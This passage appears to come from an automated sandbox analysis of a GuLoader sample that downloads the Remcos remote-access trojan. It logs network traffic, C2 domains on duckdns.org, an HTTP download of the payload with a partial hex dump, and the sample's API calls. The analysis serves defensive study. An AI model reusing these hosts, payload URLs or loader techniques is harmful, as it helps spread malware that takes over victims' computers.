Sep 27, 2021 14:57:22.949486017 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949487925 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949506998 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949529886 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949548960 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949551105 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.949570894 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949594975 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.949608088 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:23.164891005 CEST	49753	2404	192.168.2.5	23.146.242.71
Sep 27, 2021 14:57:23.276592970 CEST	2404	49753	23.146.242.71	192.168.2.5
Sep 27, 2021 14:57:23.276822090 CEST	49753	2404	192.168.2.5	23.146.242.71
Sep 27, 2021 14:57:23.278830051 CEST	49753	2404	192.168.2.5	23.146.242.71
Sep 27, 2021 14:57:23.440582037 CEST	2404	49753	23.146.242.71	192.168.2.5
Sep 27, 2021 14:57:23.563330889 CEST	2404	49753	23.146.242.71	192.168.2.5
Sep 27, 2021 14:57:23.566534996 CEST	49753	2404	192.168.2.5	23.146.242.71
Sep 27, 2021 14:57:23.737474918 CEST	2404	49753	23.146.242.71	192.168.2.5
Sep 27, 2021 14:57:33.582081079 CEST	2404	49753	23.146.242.71	192.168.2.5
Sep 27, 2021 14:57:33.609889984 CEST	49753	2404	192.168.2.5	23.146.242.71
Sep 27, 2021 14:57:33.769799948 CEST	2404	49753	23.146.242.71	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:53:28.619101048 CEST	62060	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:28.638602972 CEST	53	62060	8.8.8.8	192.168.2.5
Sep 27, 2021 14:53:45.436956882 CEST	61805	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:45.457828999 CEST	53	61805	8.8.8.8	192.168.2.5
Sep 27, 2021 14:53:59.604959011 CEST	54795	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:59.617611885 CEST	53	54795	8.8.8.8	192.168.2.5
Sep 27, 2021 14:57:21.865385056 CEST	49557	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:57:21.980451107 CEST	53	49557	8.8.8.8	192.168.2.5
Sep 27, 2021 14:57:23.049576998 CEST	61733	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:57:23.162775040 CEST	53	61733	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 14:57:21.865385056 CEST	192.168.2.5	8.8.8.8	0xa34d	Standard query (0)	sopage.duckdns.org	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:23.049576998 CEST	192.168.2.5	8.8.8.8	0x6577	Standard query (0)	solex-wave.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 14:57:21.980451107 CEST	8.8.8.8	192.168.2.5	0xa34d	No error (0)	sopage.duckdns.org		23.146.242.85	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:23.162775040 CEST	8.8.8.8	192.168.2.5	0x6577	No error (0)	solex-wave.duckdns.org		23.146.242.71	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

sopage.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49752	23.146.242.85	80	C:\Users\user\Desktop\8TEZmAEx3U.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 14:57:22.149102926 CEST	1112	OUT	GET /Remcos_s_bChlcwVW46.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: sopage.duckdns.org Cache-Control: no-cache
Sep 27, 2021 14:57:22.262342930 CEST	1113	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sun, 26 Sep 2021 08:50:35 GMT Accept-Ranges: bytes ETag: "694a3892b3b2d71:0" Server: Microsoft-IIS/8.5 Date: Mon, 27 Sep 2021 12:57:22 GMT Content-Length: 469056 Data Raw: e7 da 56 c8 54 c9 89 52 51 a6 5c 88 94 c5 ea f4 9c 2e 9a 90 3d e6 03 a9 bf b7 5d b0 c5 1a 2a 8b 40 14 e9 68 e5 98 9f 59 f8 c2 5e 89 9f e7 c3 3a 26 8c e3 f4 bb 03 ff 27 ec 82 4a c5 d1 21 ce fa a5 74 ce 44 bd 76 77 6d 5c 9e bc 42 e6 c0 d4 38 c5 bf 78 4b 0c a3 39 1d 14 84 20 a3 8f 73 f7 a1 ac a5 93 1f ad c1 6f 93 15 af a4 17 d5 19 eb 90 6c 7e 36 0e 32 0c 12 c9 cb 0a 03 eb 4e 18 f4 0d 1b ec 5c 48 67 e3 2b e7 cf af 67 1a 0b 1b e3 c6 c4 8f f3 3d f1 f4 b6 4e 4e 26 15 2d 8a f7 b9 b9 22 24 55 31 3b 56 8d 9c b9 41 55 2c b0 b9 98 37 d2 f1 cc 9b 87 07 02 38 eb 68 b6 0c 1a 1b 12 45 4d 36 c9 6e 49 7f 94 0c c8 bb 69 e2 f9 28 09 e9 9c 36 c3 b0 e6 2b df 74 04 7a 67 0a 09 55 b9 bd 02 38 17 8a 3b d6 37 de d7 c6 3d 43 ae 3d 95 8e 32 26 23 a9 16 3f ab 93 70 78 dd 15 5b c3 97 e2 3b 34 a0 03 b8 1a be 74 de fd cb 4c f0 6a d4 ba 03 bb 35 43 51 fa 6c 20 18 c3 13 6f 52 3f db d7 7b 4c 69 98 c1 82 83 13 22 29 10 86 90 ad b4 9d 0a 52 d3 bb 1b 45 df a5 fd 29 ad 5e 6c fe fa 38 48 c1 ab 3f 4e 27 d5 f6 a7 ba 87 2d 73 2e d3 be ae 8a 2e 33 db af 9e 83 38 47 a3 a1 0a 53 09 3c cc d1 c0 e9 e6 d3 1e f5 c3 40 9c cf ac 32 a6 ef 00 17 75 0b 00 39 32 78 ed b5 32 17 fc 70 2c 89 ba 1c c8 25 36 cb f9 9f 83 bd 20 53 75 10 cd a3 d9 b2 ab 92 29 ce 65 31 2d 62 d5 4b 53 4a 4b 29 4c 98 4f 25 0a c9 a3 89 c1 b2 e3 e8 74 92 9b 51 f9 02 fc 94 4d dc dc 0f 5e 74 52 c9 4b 18 7d 48 e7 df 86 df e8 cc 66 2a 75 f2 a8 3f 10 88 2e 23 64 bd 12 d6 a2 c3 de 80 35 7b 79 89 27 b1 1f 50 38 09 2a 89 4f 81 8b 6e a4 37 62 1a 9d 13 49 f3 df c3 35 42 96 24 9b 7f c7 42 3d f8 6a f1 cd c0 91 c5 94 1d a4 09 af 34 c3 94 51 a7 48 14 59 33 54 30 60 33 78 55 f3 2c 0a ff 4a 23 d9 92 90 2e e5 d3 d5 87 6f ee cc ae 52 b4 b6 9c a3 9e a3 62 75 42 62 2d e1 48 84 fc 62 c8 87 b4 22 d1 e0 ca d0 03 2c aa 97 fb d8 71 8e 24 98 36 ac 1c 93 c3 2d 74 2c 50 74 5b cc 6d ab c9 9d b7 46 91 0d 24 94 76 6b 94 77 19 92 82 c8 b0 cf c8 a2 50 68 7f d8 77 d4 7c e4 28 f2 1e 98 2d 7b b3 a1 41 de 1d fe 59 91 3c e0 ce de 77 bd fc de ab f2 17 43 18 4b 50 31 e8 65 14 2f 6a 50 ed 4d a9 bf c1 7e a2 76 21 68 b2 c9 34 a0 e7 dd f5 7a e9 64 33 7d c9 34 26 f8 e3 f7 b0 ad b0 af 35 6d 18 30 24 59 4b cf d0 ec de 80 d3 b2 2d 36 49 53 dc 1b a7 e2 0c d3 5d 05 80 c5 04 cc 56 8a a2 62 10 f3 dd 7c 14 6e 7a 9b 22 2e ab 94 6e 2f fd bd a4 1e 69 bc 6f 75 8a c3 30 13 1f cf 8e a7 c4 b6 6e a6 e6 94 b4 bf fd 8e d2 36 c9 a3 74 e5 00 19 22 00 9a e3 f5 2b 43 31 b6 76 5b cb cf b8 06 bc 92 d2 a0 2f 13 a7 60 9c a2 6a a9 fb f9 44 57 1d b3 05 99 5e ad 39 7c b1 36 e9 e3 fb 77 a3 09 4f e7 42 2a 2e 42 a0 e5 80 4e c9 83 88 18 2e da 4f c4 70 51 2e 50 25 77 cf b3 30 fc d4 5d d5 93 1b 1c 36 bb 05 b0 89 6c 53 a6 63 76 82 49 c0 00 02 5e 88 5c 5a bc f8 d9 ee f1 a2 2a a1 60 b3 18 70 fc e1 72 dc d2 53 6e db f9 f4 56 a7 14 88 24 a9 ab f0 0f a9 6c 39 e0 eb 86 5e 8c 5f 4c 00 f8 ee 69 7f 64 c1 13 a4 db 3b 19 a0 94 c7 ba 72 01 fb 1b 5d 79 46 e8 2e 5e 44 be 76 77 6d 58 9e bc 42 19 3f d4 38 7d bf 78 4b 0c a3 39 1d 54 84 20 a3 8f 73 f7 a1 ac a5 93 1f ad c1 6f 93 15 af a4 17 d5 19 eb 90 6c 7e 36 0e 32 0c 12 c9 cb 0a 03 eb 5e 19 f4 0d 15 f3 e6 46 67 57 22 2a ee 17 66 56 c6 3a b7 ae ad fc d3 4d 83 9b d1 3c 2f 4b 35 4e eb 99 d7 d6 56 04 37 54 1b 24 f8 f2 99 28 3b 0c f4 f6 cb 17 bf 9e a8 fe a9 0a 0f 32 cf 68 b6 0c 1a 1b 12 45 e7 b5 8b 5e a7 9d b8 6f 26 59 45 81 17 ca 25 8a c6 f1 fe 13 5c c9 1b 74 51 Data Ascii: VTRQ\.=]@hY^:&'J!tDvwm\B8xK9 sol~62N\Hg+g=NN&-"$U1;VAU,78hEM6nIi(6+tzgU8;7=C=2&#?px[;4tLj5CQl oR?{Li")RE)^l8H?N'-s..38GS<@2u92x2p,%6 Su)e1-bKSJK)LO%tQM^tRK}Hfu?.#d5{y'P8On7bI5B$B=j4QHY3T0`3xU,J#.oRbuBb-Hb",q$6-t,Pt[mF$vkwPhw\|(-{AY<wCKP1e/jPM~v!h4zd3}4&5m0$YK-6IS]Vb\|nz".n/iou0n6t"+C1v[/`jDW^9\|6wOB.BN.OpQ.P%w0]6lScvI^\Z`prSnV$l9^_Lid;r]yF.^DvwmXB?8}xK9T sol~62^FgW"fV:M</K5NV7T$(;2hE^o&YE%\tQ
Sep 27, 2021 14:57:22.262448072 CEST	1115	IN	Data Raw: 04 b8 01 61 90 d0 de b0 cc 2d eb cb 6d d8 04 c8 9c d3 20 a9 6a a9 ed 42 0c f9 ed bf dd 6f 84 41 c6 f2 2e 6c 98 af 40 a8 88 61 fe 7c f8 92 7f 30 66 a6 2e d4 d6 1c db e4 78 49 4a ea f0 3d a7 f4 21 67 af b3 1d b1 b4 c1 a1 a4 d9 7e 60 af 18 1b b2 86 Data Ascii: a-m jBoA.l@a\|0f.xIJ=!g~`q\|s>@&3?1D>3ssQehx(@A``,MAkOQuKp0(UlJH\|0pjg4vBnfB?
Sep 27, 2021 14:57:22.262506962 CEST	1116	IN	Data Raw: 42 56 67 05 cd ac f1 94 6c b6 b9 18 dd d5 53 f0 3e d6 5e 1b f0 be 28 10 2d e7 0c 00 0d 2f c5 a1 dd 10 e7 a6 d3 c2 06 d4 28 8e 82 35 d9 2b 13 d6 48 ea c8 30 01 a0 e1 d2 f1 bb 47 d5 1b 8f 10 e8 45 65 45 57 5f 11 1a 90 b9 4f 37 83 c6 f5 d3 30 66 ea Data Ascii: BVglS>^(-/(5+H0GEeEW_O70fBu3OmK@>tgH W;@#'8mf]~=Hu5:>"QswHxuv+I Xeik+A)]P{/*%E&S;P#6azHS
Sep 27, 2021 14:57:22.262557030 CEST	1117	IN	Data Raw: ee 87 26 96 ab bd 62 16 0b 41 e3 e9 79 7c e8 d9 e4 21 01 e6 a5 b7 45 df 4c 67 3e cd 4b df 7e f1 ee 7b 8a 63 43 96 2c 92 59 96 01 b3 be b7 9b 96 f3 ee fd d9 7d e2 1b 4d ec 44 a4 34 8d b3 11 0d 1e a9 ab 3f 4e 67 84 7f e2 5e 04 ed 57 a7 96 46 01 da Data Ascii: &bAy\|!ELg>K~{cC,Y}MD4?Ng^WF{daPX)LBuE9e&(0\|fFIBjY)BbY!-$`\_ntG3e^5b/TozF6}>-wO*Wn)rJ3e
Sep 27, 2021 14:57:22.376322985 CEST	1119	IN	Data Raw: a8 13 b8 91 04 3b 6c 03 80 c5 13 0c 08 d7 60 66 10 99 dd 16 15 86 72 9f 22 6e 68 c1 25 ed cb 88 46 27 12 eb e4 bc b3 38 44 49 85 c9 e4 a6 28 59 6d a6 78 19 7f 57 e3 8c d2 36 99 28 bb 0d 16 1b 22 40 ca 0b 6a 15 31 42 9d 4c df 0b bb ff 1b 31 d7 da Data Ascii: ;l`fr"nh%F'8DI(YmxW6("@j1BL1+COjrXOUq9\|N",et;-Mc5~^H/v((8Y 0ydbv(^761*`2S} >j9`@He)0 ;%^yF[Vp-iX7Gb
Sep 27, 2021 14:57:22.376432896 CEST	1120	IN	Data Raw: 20 b6 ee c1 e5 7f c4 dd f6 2d b3 3f dd f4 f2 78 2a f9 bf bb 3e 09 ed 3e 95 b8 3e 54 66 1e d8 a0 fe 2c 74 6f 28 73 2e d3 e0 a3 0d 2a 33 c2 25 75 d5 61 75 e6 c8 81 a2 5e d4 7a d2 c0 e9 8d 1d 98 34 bc 54 6d ba a0 c0 ae 12 ff e2 5c f3 8b f7 65 2e 18 Data Ascii: -?x>>>Tf,to(s.3%uau^z4Tm\e.t0))'kW\|z2xD@Kc; Y?nf#r};]H@s.On/@I2Gvz-[HZO'~p>
Sep 27, 2021 14:57:22.376482964 CEST	1122	IN	Data Raw: 48 6d 1f 64 c9 07 e2 c8 9d a9 9d bb e5 b7 e8 16 a6 57 ed bd 88 ff 2b e8 1b da bf 65 68 f8 0d 32 85 ef de d2 86 c7 f3 82 ed 1f de b8 79 43 4f 82 77 5d 95 88 39 f5 bb 22 15 38 cb 71 78 52 c6 83 ee bd 6f bd a0 6a 4f 73 2a de a6 a5 78 bd 45 d5 0b bf Data Ascii: HmdW+eh2yCOw]9"8qxRojOsxE!q:qU08NVN}K}s#X>IyS=P7Ywi`\|7JLh_L\|,ZpNW7D>}9Pu(cZEl,`9d
Sep 27, 2021 14:57:22.376543999 CEST	1123	IN	Data Raw: a1 b5 ad 9e a5 fc 7f 1d 9d 83 36 15 93 97 81 98 e1 1d 3c 2e 3f 62 ce 3b f2 03 37 be 19 82 50 78 4b 54 f0 e2 88 80 45 c5 6d 26 ab c9 d5 4a 3f 35 a7 65 ec d3 b8 2d bd 3a 32 55 6b 5a cf ac 8a 99 05 4b 18 45 55 6d 79 45 ab d9 ba 92 2b b4 d8 8c 15 74 Data Ascii: 6<.?b;7PxKTEm&J?5e-:2UkZKEUmyE+t]Y;9:ycd.r(3#\|9vT3SvhCn;)UK8zGARwJg8d, lfo8n7k^6@^f3roPuxn\GeGc(h_jw?9>/
Sep 27, 2021 14:57:22.376599073 CEST	1125	IN	Data Raw: 59 54 17 3f 5f d7 38 5f a7 52 73 95 5c ab 06 31 5b e2 c6 0d 71 d7 a8 39 7c 58 c5 a9 e3 fb 64 06 26 22 d8 c5 ba dd bd cf 22 f5 42 42 1d dc f0 07 15 b0 3b fb 71 a3 88 cd 12 22 4c cf 75 91 a1 5e 9b 90 cd fd fe 11 d9 5a e5 1e aa e8 be 75 98 fb ca 0d Data Ascii: YT?_8_Rs\1[q9\|Xd&""BB;q"Lu^ZuJ\Zs":U\|"3X,`}sM$k[3O_kLf?4c'u H\|7Lxm{'O*/=o{1xNd6_6HQ&Gk
Sep 27, 2021 14:57:22.376648903 CEST	1126	IN	Data Raw: c6 62 90 e8 9e cf e8 7f a4 20 02 74 d3 b8 31 de 6f 56 60 7c f2 ab 95 2b 49 90 61 cc b2 21 5c c1 12 8b ce d7 ae 5f 4a 90 1f c0 c5 cf 75 44 24 7f d4 2e cc d1 e2 0b ff 9e 6d 64 5a b4 0a 61 90 05 9c 34 a4 85 8b bd 90 12 e3 67 b7 92 cf 79 aa f4 24 9a Data Ascii: b t1oV`\|+Ia!\_JuD$.mdZa4gy$#rkn<]D9&G&8duv GVQ)/w+P<I,Pnx,%Rcz,HnCWZ>(#)u81#f!+xk&L
Sep 27, 2021 14:57:22.376697063 CEST	1127	IN	Data Raw: 30 dd 80 4e 96 8d d4 93 cb bd 8c 95 fb ea c4 db 68 9f 27 2d c2 03 2b 04 bf 93 71 1c 9e 9c e4 f0 89 a0 06 2d 8f 2b 6b 0e c0 00 02 08 03 ad b2 1e 0a 26 11 7a 64 74 63 68 b3 4d fb 10 1e 07 cc 3a 8a 9f 24 06 ad dd ea 1c d8 db dc a7 18 3c a9 6c 39 bd Data Ascii: 0Nh'-+q-+k&zdtchM:$<l9(;[$k p"J8}O{UwyZl]6WW^LlW"*bVk</`f< x}_~W2ZWO^

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 8TEZmAEx3U.exe PID: 400 Parent PID: 2940

General

Start time:	14:53:32
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\8TEZmAEx3U.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	28C8B2207BB3E6884E1E29575FB19BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 8TEZmAEx3U.exe PID: 6632 Parent PID: 400

General

Start time:	14:55:27
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\8TEZmAEx3U.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	28C8B2207BB3E6884E1E29575FB19BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 8TEZmAEx3U.exe PID: 400 Parent PID: 2940 8TEZmAEx3U.exeCOMMON

Executed Functions

Function 0223960B, Relevance: 11.7, APIs: 3, Strings: 3, Instructions: 1195memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0223B7F0: LoadLibraryA.KERNELBASE(?,0000F632,?,-0000000107F4AC6F,?,0BD144FB), ref: 0223B987

NtAllocateVirtualMemory.NTDLL(237A2C65,?,79394FF1), ref: 02239875

Strings

F*, xrefs: 02238137
e,z#, xrefs: 02239800
!`,, xrefs: 0223878F

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID: !`,$F*$e,z#
API String ID: 2616484454-2411442246
Opcode ID: 2c55694cc99e688db6f9e3f4095b98fff843066468f51676a59a9a160fdd0fb6
Instruction ID: 880e3778aabd6a7f91ba3304328fdf590118a7694e88a34b24d9fe75fa550d1a
Opcode Fuzzy Hash: 2c55694cc99e688db6f9e3f4095b98fff843066468f51676a59a9a160fdd0fb6
Instruction Fuzzy Hash: F7A272B161434A8FDF359E78CD957EA7BA2FF55350F41422EDC899B218D3708A82CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0223B7F0, Relevance: 7.9, APIs: 2, Strings: 2, Instructions: 902libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,0000F632,?,-0000000107F4AC6F,?,0BD144FB), ref: 0223B987

Strings

F*, xrefs: 02238137
!`,, xrefs: 0223878F

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: !`,$F*
API String ID: 1029625771-1504531252
Opcode ID: 22903431d02471df7e42ae1bbde338c175f6d8bca3032395fc1808d0acb48b97
Instruction ID: a363a8ba9205f285f464c0c206c59e8c55db354ff8e9dde661bcc53735205568
Opcode Fuzzy Hash: 22903431d02471df7e42ae1bbde338c175f6d8bca3032395fc1808d0acb48b97
Instruction Fuzzy Hash: D5724FB161434A9FDF359E78CD957EA7BB2FF45350F41422ADC899B218D3708A82CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0223030C, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 214libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,0000F632,?,-0000000107F4AC6F,?,0BD144FB), ref: 0223B987

Strings

$i, xrefs: 0223E9AE

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: $i
API String ID: 1029625771-2220829349
Opcode ID: ca51d58936e9f7f9e7f09138288dbe35e57d6fb6c6008e017417062aba0d9855
Instruction ID: a8e06d4ae6e8d3deb21b0dcaa46f4c83cf733f2aa147733ebdb202e85c6a56c7
Opcode Fuzzy Hash: ca51d58936e9f7f9e7f09138288dbe35e57d6fb6c6008e017417062aba0d9855
Instruction Fuzzy Hash: 11717BB1A243469FCB328EB889547DA7BA2AF56720F54426ADC49CF289D730C942CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02237485, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,0000F632,?,-0000000107F4AC6F,?,0BD144FB), ref: 0223B987

Strings

(5Q, xrefs: 02237541

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: (5Q
API String ID: 1029625771-3329484461
Opcode ID: 162dc6646d65527c1b436030c965ce4f7664e309e5437dc57678aaa7185fdc4d
Instruction ID: 9dd737819da8bf4033c94318de10c94c67457a13da4fa7b5566e584ec89d3880
Opcode Fuzzy Hash: 162dc6646d65527c1b436030c965ce4f7664e309e5437dc57678aaa7185fdc4d
Instruction Fuzzy Hash: FE515BB1518786CBDF368FB88D907DA76A1AF42314F44426ECC5DCB28AE7318542CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02239BAA, Relevance: 1.9, APIs: 1, Instructions: 389libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,0000F632,?,-0000000107F4AC6F,?,0BD144FB), ref: 0223B987

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2679926de1f288f38d8903818121db4f2954904f4a67eb135274ab1ec765acb7
Instruction ID: 775795deb69dc8fbbb98a4941520e43d999995678aa9b482488446a0291e6aae
Opcode Fuzzy Hash: 2679926de1f288f38d8903818121db4f2954904f4a67eb135274ab1ec765acb7
Instruction Fuzzy Hash: 55E148B161438ACFDB319EB8CD947EE37A2AF56350F05452DDC89DB259E3308A85CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0223DBD2, Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(CB415D7F,A59CCC32,A59CCC36,?,A59CCC3A,0223D1A4), ref: 0223DC70

Memory Dump Source

Source File: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Offset: 02230000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e74e02dd609184ab9461a6cc31865960dee1519d769df9e4f4afbca4c952a5d2
Instruction ID: 0b14ade045dba894bc41acf25efe446bcde38123ba75f75c1f54408f194cef4e
Opcode Fuzzy Hash: e74e02dd609184ab9461a6cc31865960dee1519d769df9e4f4afbca4c952a5d2
Instruction Fuzzy Hash: FF017170B042848FEB38CE28CC956EE73A6EBC8354F04812FDC1A9B380C6705F048715

Uniqueness

Uniqueness Score: -1.00%

Function 00423080, Relevance: 84.5, APIs: 31, Strings: 17, Instructions: 527COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60 ref: 004230DE
__vbaAryConstruct2.MSVBVM60(?,00403C38,00000003), ref: 004230EF
#696.MSVBVM60(00403BAC), ref: 004230FA
__vbaStrCat.MSVBVM60(00403BC0,2:2), ref: 00423898
__vbaStrMove.MSVBVM60 ref: 004238A5
__vbaStrCat.MSVBVM60(00403BC8,00000000), ref: 004238AD
__vbaStrMove.MSVBVM60 ref: 004238B4
#541.MSVBVM60(00689DCC,00000000), ref: 004238BB
__vbaStrVarMove.MSVBVM60(00689DCC), ref: 004238C5
__vbaStrMove.MSVBVM60 ref: 004238D0
__vbaFreeStrList.MSVBVM60(00000002,006460D0,006C3177), ref: 004238DC
__vbaFreeVar.MSVBVM60 ref: 004238EE
__vbaHresultCheckObj.MSVBVM60(00000000,003A6688,00402178,00000254), ref: 00423913
#692.MSVBVM60(?,knapstvlens,lysavisens), ref: 0042392F
__vbaVarTstNe.MSVBVM60(?,?), ref: 00423947
__vbaFreeVar.MSVBVM60 ref: 00423953
#648.MSVBVM60(?), ref: 00423970
__vbaFreeVar.MSVBVM60 ref: 00423979
__vbaNew2.MSVBVM60(00402618,0042B3B4), ref: 0042398D
__vbaHresultCheckObj.MSVBVM60(00000000,02ADE9BC,00402608,0000004C), ref: 004239B2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403C04,00000028), ref: 004239D2
__vbaFreeObj.MSVBVM60 ref: 004239DB
__vbaNew2.MSVBVM60(00402618,0042B3B4), ref: 004239F3
__vbaHresultCheckObj.MSVBVM60(00000000,02ADE9BC,00402608,00000038,?,?,?,?,0000000A), ref: 00423A63
__vbaVar2Vec.MSVBVM60(?,0000000A,?,?,?,?,0000000A), ref: 00423A71
__vbaAryMove.MSVBVM60(?,?,?,?,?,?,0000000A), ref: 00423A7F
__vbaFreeVar.MSVBVM60(?,?,?,?,0000000A), ref: 00423A88
__vbaFreeStr.MSVBVM60(00423B04), ref: 00423ADA
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00423AE8
__vbaFreeStr.MSVBVM60 ref: 00423AED
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 00423B01

Strings

SYPHILOPHOBIC, xrefs: 00423A18
=X, xrefs: 00423413
k:, xrefs: 00423447
M'h, xrefs: 004237EF
5#, xrefs: 00423531
3to, xrefs: 00423816
*cc, xrefs: 004231A2
>?, xrefs: 00423280
2:2, xrefs: 00423884
QZ`, xrefs: 00423391
lysavisens, xrefs: 00423921
dO, xrefs: 0042339E
knapstvlens, xrefs: 00423926
:Y-, xrefs: 004232DB
*^s, xrefs: 00423238
w1l, xrefs: 004231B6
Yd%, xrefs: 004231F2

Memory Dump Source

Source File: 00000000.00000002.485792374.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.485786270.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.485849049.000000000042B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.485866652.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Move$CheckHresult$DestructNew2$#541#648#692#696Construct2CopyListVar2
String ID: dO$*^s$*cc$2:2$3to$5#$:Y-$>?$M'h$QZ`$SYPHILOPHOBIC$Yd%$k:$knapstvlens$lysavisens$w1l$=X
API String ID: 621974014-1160925713
Opcode ID: 28b6794e3fcdfbb2819ee2c469d5c7195d9b023a91e44289a08985639c2dbacf
Instruction ID: 2fc05be46477bcd8e32c0309217997a121dd956387c529fd517a24de014d854e
Opcode Fuzzy Hash: 28b6794e3fcdfbb2819ee2c469d5c7195d9b023a91e44289a08985639c2dbacf
Instruction Fuzzy Hash: 535283B4A002498FCB04DFA8C598ADDFBF1BB48308F14C26AD9197B355C7B5694ACF94

Uniqueness

Uniqueness Score: -1.00%

Function 00401460, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401465

Strings

VB5!6&*, xrefs: 00401460

Memory Dump Source

Source File: 00000000.00000002.485792374.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.485786270.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.485849049.000000000042B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.485866652.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 7dfbc76ea5bb5c18ad117f38706b1752df8f67f27c8bab013d41246b8f70370a
Instruction ID: d4a2a53dc6dc9dbd794e31ff6bbd6ade55e5a778e217639962cc0a360c7137d6
Opcode Fuzzy Hash: 7dfbc76ea5bb5c18ad117f38706b1752df8f67f27c8bab013d41246b8f70370a
Instruction Fuzzy Hash: D6D0A44288E7C20EC30766B609211462FB00853A5436B05EBC081EB0F3C89C084AC736

Uniqueness

